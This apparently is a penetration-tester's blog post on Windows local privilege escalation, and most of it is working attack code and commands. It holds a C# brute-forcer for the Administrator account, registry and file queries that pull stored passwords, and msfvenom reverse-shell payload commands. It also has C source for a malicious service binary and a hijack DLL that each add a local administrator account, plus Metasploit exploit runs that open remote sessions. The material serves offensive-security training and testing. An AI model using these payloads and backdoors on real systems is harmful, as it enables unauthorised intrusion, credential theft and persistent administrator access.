Privilege escalation is the act of exploiting security vulnerabilities, or system configuration mistakes to gain administrative access to computer system.
A number of privilege escalation techniques are covered in this article, including:
- Basic Enumeration
- Automated Enumeration
- Local Administrator Account Brute Force
- Exploiting OS Vulnerabilities
- WinLogon Saved Credentials
- Unattend Files
- Stored User Credentials
- Always Install Elevated
- Insecure Autorun Permissions
- Insecure Service Executable Permissions
- Insecure Service BinPath Permissions
- Unquoted Service Paths
- DLL Hijacking
- Juicy Potato Attacks
- Group Policy Preference Files
Basic Enumeration
The following commands are useful to gain some initial information about the system being targeted:
# System info
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type"
# List patches
wmic qfe
# List installed applications
wmic product get name,version
# Get disks
wmic logicaldisk get caption,description
# User enumeration
whoami /priv
whoami /groups
net users
net localgroup
# Network enumeration
ipconfig
route print
arp -a
# Finding passwords
findstr /si password *.txt *.ini *.config
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
# Services
sc query | findstr /B /C:"SERVICE_NAME" /C:"DISPLAY_NAME"
# Firewall Configuration
netsh advfirewall firewall dump
netsh firewall show state
netsh firewall show config
Automated Enumeration
The following tools can be useful to speed up enumeration of common issues:
Tool | Notes | URL |
PowerUp | PowerShell script. Can exploit a number of conditions. | https://github.com/PowerShellMafia/PowerSploit/ |
WinPEAS | The binary version relies on the .NET framework, and as such may not run on older versions of Windows. A batch file version is also available. | https://github.com/carlospolop/PEASS-ng/ |
JAWS | PowerShell script. | https://github.com/411Hall/JAWS |
Local Administrator Account Brute Force
By default, the local administrator account cannot be locked out by incorrectly guessing it’s password. The below code attempts to brute force the local Administrator account using a password list:
using System;
using System.Collections.Generic;
using System.DirectoryServices.AccountManagement;
using System.IO;
namespace BruteForce
{
internal class Program
{
static void Main(string[] args)
{
var passwordFile = File.ReadAllLines(@"C:\passwords.txt");
var passwordList = new List<string>(passwordFile);
PrincipalContext localAdministrator = new PrincipalContext(ContextType.Machine, null);
int attemptCount = 0;
foreach (var password in passwordList)
{
attemptCount++;
bool PasswordValid = localAdministrator.ValidateCredentials("Administrator", password);
if (PasswordValid == true)
{ Console.WriteLine(DateTime.Now.ToString("HH:mm:ss tt") + " attempt: " +
attemptCount.ToString() + " Password Correct: " + password);
Console.ReadKey();
break;
}
else { Console.WriteLine(DateTime.Now.ToString("HH:mm:ss tt") + " attempt: " +
attemptCount.ToString() + " Password Incorrect: " + password); }
}
Console.ReadKey();
}
}
}
Obviously, if any type of security monitoring is in place this will likely be detected. It can however be useful on isolated workgroup machines. Below shows the programs output:
20:23:10 PM attempt: 21556 Password Incorrect: isis
20:23:10 PM attempt: 21557 Password Incorrect: T7U9Hx
20:23:10 PM attempt: 21558 Password Incorrect: tito
20:23:10 PM attempt: 21559 Password Incorrect: polinka
20:23:10 PM attempt: 21560 Password Incorrect: m1ul9x9i20
20:23:11 PM attempt: 21561 Password Incorrect: signature
20:23:11 PM attempt: 21562 Password Incorrect: .ktymrf
20:23:11 PM attempt: 21563 Password Incorrect: 120788
20:23:11 PM attempt: 21564 Password Incorrect: graces
20:23:11 PM attempt: 21565 Password Incorrect: anisha
20:23:11 PM attempt: 21566 Password Incorrect: alizee
20:23:11 PM attempt: 21567 Password Incorrect: mother4
20:23:11 PM attempt: 21568 Password Incorrect: 5610405
20:23:11 PM attempt: 21569 Password Incorrect: m0nster
20:23:11 PM attempt: 21570 Password Incorrect: panpan
20:23:11 PM attempt: 21571 Password Incorrect: 686611
20:23:13 PM attempt: 21572 Password Correct: Password12
Operating System Vulnerabilities
Metasploit can be used to determine vulnerabilities based on missing operating system patches:
meterpreter > run post/multi/recon/local_exploit_suggester
[*] 10.10.10.5 - Collecting local exploits for x86/windows...
[*] 10.10.10.5 - 40 exploit checks are being tried...
[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
Alternatively, if Metasploit is not an option WESNG an be used. Just run systeminfo on the target host and copy the output to a file called sysinfo.txt, then run WESNG against it.
git clone https://github.com/bitsadmin/wesng --depth 1
python3 wes.py --update
python3 wes.py sysinfo.txt
Windows Exploit Suggester 1.03 ( https://github.com/bitsadmin/wesng/ )
[+] Parsing systeminfo output
[+] Operating System
- Name: Windows 10 Version 1511 for x64-based Systems
- Generation: 10
- Build: 10586
- Version: 1511
- Architecture: x64-based
- Installed hotfixes (10): KB3150513, KB3161102, KB3172729, KB3173428, KB4021702, KB4022633, KB4033631, KB4035632, KB4051613, KB4041689
[+] Loading definitions
- Creation date of definitions: 20220616
[+] Determining missing patches
[!] Found vulnerabilities!
Date: 20161213
CVE: CVE-2016-7295
KB: KB3205386
Title: Security Update for Common Log File System Driver
Affected product: Windows 10 Version 1511 for x64-based Systems
Affected component:
Severity: Important
Impact: Information Disclosure
Exploit: n/a
Date: 20161213
CVE: CVE-2016-7258
KB: KB3205386
Title: Security Update for Windows Kernel
Affected product: Windows 10 Version 1511 for x64-based Systems
Affected component:
Severity: Important
Impact: Information Disclosure
Exploit: n/a
WinLogon Saved Credentials
If a user account is automatically set to logon, it may be possible to extract their credentials from the registry:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT"\CurrentVersion\Winlogon"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
ReportBootOk REG_SZ 1
Shell REG_SZ explorer.exe
PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16}
Userinit REG_SZ C:\Windows\system32\userinit.exe,
VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
ForceUnlockLogon REG_DWORD 0x0
LegalNoticeCaption REG_SZ
LegalNoticeText REG_SZ
PasswordExpiryWarning REG_DWORD 0x5
PowerdownAfterShutdown REG_SZ 0
ShutdownWithoutLogon REG_SZ 0
WinStationsDisabled REG_SZ 0
DisableCAD REG_DWORD 0x1
scremoveoption REG_SZ 0
ShutdownFlags REG_DWORD 0x11
DefaultDomainName REG_SZ
DefaultUserName REG_SZ Tom
AutoAdminLogon REG_SZ 1
DefaultPassword REG_SZ Password1!
Unattend Files
Answer files, also known as “Unattend files” are used to configure Windows when it’s being installed.
They commonly reside in the following locations, and may contain local administrator credentials:
C:\Windows\Panther\unattend.xml
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\unattend.xml
The file contents can be parsed using Metasploit to find credentials:
msf6 post(windows/gather/enum_unattend) > run
[*] Reading C:\Windows\panther\unattend.xml
Unattend Credentials
====================
Type Domain Username Password Groups
---- ------ -------- -------- ------
auto Admin password123
[*] Post module execution completed
Alternatively, the files can be manually parsed:
type C:\Windows\panther\unattend.xml
<AutoLogon>
<Password>
<Value>cGFzc3dvcmQxMjM=</Value>
<PlainText>false</PlainText>
</Password>
<Enabled>true</Enabled>
<Username>Admin</Username>
</AutoLogon>
The password field is Base64 encoded:
echo cGFzc3dvcmQxMjM= | base64 -d
password123
Stored User Credentials
The cmdkey command allows listing of stored credentials:
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=BORDERGATE\Administrator
Type: Domain Password
User: BORDERGATE\Administrator
Using runas with the savecred command, we can execute code in the context of the cached credential:
runas /user:BORDERGATE\Administrator /savecred "C:\Users\user\shell-x64.exe"
Always Installed Elevated
The AlwaysInstallElevated setting allows users to run .MSI installer files on a system without requiring administrative permissions. The setting can be enumerated using the following reg query commands:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
The setting can be exploited by creating an MSFVenom MSI payload and running it on the host:
msfvenom -p windows/meterpreter/reverse_tcp lhost=tun0 lport=6666 -f msi -o setup.msi
A Metasploit post module is also available to exploit this condition: exploit/windows/local/always_install_elevated
Insecure Autorun Permissions
Insecure Autoruns can be enumerated using Sysinternals autoruns. Alternatively, PowerUp can be used to identify these vulnerabilities:
powershell -ep bypass
Import-Module .\PowerUp.ps1
Invoke-AllChecks
[*] Checking for modifidable registry autoruns and configsā¦
Key : HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\My Program
Path : "C:\Program Files\Autorun Program\program.exe"
ModifiableFile : @{Permissions=System.Object[]; ModifiablePath=C:\Program Files
\Autorun Program\program.exe; IdentityReference=Everyone}
Generating a Meterpreter payload with the same name and placing it in the location identified should work:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=666 -f exe -o program.exe
Insecure Service Executable Permissions
If you have access to overwrite a service binary, you can swap out the executable with a malicious payload.
The below code can be used for a malicious service executable:
#include <windows.h>
#include <stdio.h>
#define SLEEP_TIME 5000
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;
void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);
//add the payload here
int Run()
{
system("cmd.exe /k net user localadmin Password1 /add");
system("cmd.exe /k net localgroup administrators localadmin /add");
return 0;
}
int main()
{
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = "MyService";
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
StartServiceCtrlDispatcher(ServiceTable);
return 0;
}
void ServiceMain(int argc, char** argv)
{
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
hStatus = RegisterServiceCtrlHandler("MyService", (LPHANDLER_FUNCTION)ControlHandler);
Run();
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &ServiceStatus);
while (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
{
Sleep(SLEEP_TIME);
}
return;
}
void ControlHandler(DWORD request)
{
switch(request)
{
case SERVICE_CONTROL_STOP:
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
case SERVICE_CONTROL_SHUTDOWN:
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
default:
break;
}
SetServiceStatus (hStatus, &ServiceStatus);
return;
}
Compile with:
x86_64-w64-mingw32-gcc windows_service.c -o service.exe
Insecure Service BinPath Permissions
If you have permissions to reconfigure a service, you may be able to get it to run a command of your choosing. This misconfiguration can be seen in PowerUp;
powershell -ep bypass
Import-Module .\PowerUp.ps1
Invoke-AllChecks
[*] Checking service permissions...
ServiceName : daclsvc
Path : "C:\Program Files\DACL Service\daclservice.exe"
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'daclsvc'
CanRestart : True
To exploit this condition, we can use the service control executable to change the binpath to any command we wish to execute:
C:\Users\user\Desktop\Tools\PowerUp>sc config svc1 binpath= "net user user1 Password1 /add"
[SC] ChangeServiceConfig SUCCESS
C:\Users\user\Desktop\Tools\PowerUp>sc start svc1
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
Although the service will report it was unable to start correctly, the command specified will run.
Unquoted Service Paths
If services names are not enclosed in quotes, and include spaces the operating system will traverse the filesystem looking for the appropriate executable. For instance, the following service as seen in PowerUp output is unquoted;
ServiceName : unquotedsvc
Path : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
ModifiablePath : @{Permissions=System.Object[]; ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'unquotedsvc' -Path <HijackPath>
CanRestart : True
Windows is unable to determine what parts of the path specified point to the executable, and what are arguments to be supplied to executable. So, in this examples the operating system is unable to determine “Common Files” is a directory, or if “Common.exe” should be called with the argument of “Files”.
If we can place a malicious executable in this path, and we are able to restart the service we may be able to elevate privileges.
Outputting a Meterpreter executable to C:\Program Files\Unquoted Path Service\common.exe and starting the service will result in code execution.
The Metasploit module exploit/windows/local/unquoted_service_path can also be used.
DLL Hijacking
If an application tries to load a DLL which is not in it’s current directory, Windows will search for the library.
We can use SysInternals ProcessExplorer to determine if an application is susceptible to DLL hijacking. Launch SysInternals ProcessMonitor and set a filter for result “NAME NOT FOUND”.
Next, add a filter for “.dll”
With the filter in place, you should be able to see if applications are attempting to load non existent DLL’s.
For privilege escalation, two conditions are required for this to work;
- The application searching for a non-existent DLL must be running in a higher privilege level than the user we currently reside in.
- We must be able to write to a folder within the DLL search path.
The following code can be used to create a malicious DLL:
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k net user localadmin Password1 /add");
system("cmd.exe /k net localgroup administrators localadmin /add");
ExitProcess(0);
}
return TRUE;
}
Compile with:
x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijack.dll
Juicy Potato Attacks
If SeImpersonate or SeAssignPrimaryToken are assigned, we can launch a JuicyPotato attack. These privileges are typically assigned to IIS and SQL Server service accounts.
Juicy Potato works on Windows 2016 and below.
Privileges can be checked using whoami:
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Metasploit can be used to retrieve the same information with the getprivs command:
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
The attack can be launched using the ms16_075_reflection_juicy module:
msf6 exploit(windows/local/ms16_075_reflection_juicy) > run
[*] Started reverse TCP handler on 10.10.14.9:1111
[+] Target appears to be vulnerable (Windows 10 (10.0 Build 10586).)
[*] Launching notepad to host the exploit...
[+] Process 2484 launched.
[*] Reflectively injecting the exploit DLL into 2484...
[*] Injecting exploit into 2484...
[*] Exploit injected. Injecting exploit configuration into 2484...
[*] Configuration injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (175174 bytes) to 10.10.10.63
[*] Meterpreter session 2 opened (10.10.14.9:1111 -> 10.10.10.63:49807 ) at 2022-06-25 11:07:39 +0100
Group Policy Preference Files
Prior to MS14-025 Group Policy Preference files could be used to deploy new local administrators to a system. The prefence files are encrypted using AES-256, but Microsoft accidentally published the key š„³
The preference files are typically stored in the SYSVOL folder of a domain controller, but may be cached on an endpoint under C:\ProgramData\Microsoft\Group Policy\history:
Groups.xml
Services.xml
Scheduledtasks.xml
DataSources.xml
Printers.xml
Drives.xml
Encrypted strings in the file can be decrypted using gpp-decrypt:
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Local*P4ssword!
The Metasploit module post/windows/gather/credentials/gpp can also perform this task.
Final Thoughts
This post has covered a number of common privilege escalation techniques, but is by no means comprehensive.
Third party applications provide the largest source of privilege escalation opportunities so it’s always worth exploring additional applications installed, particularly if they are bespoke to the target organisation.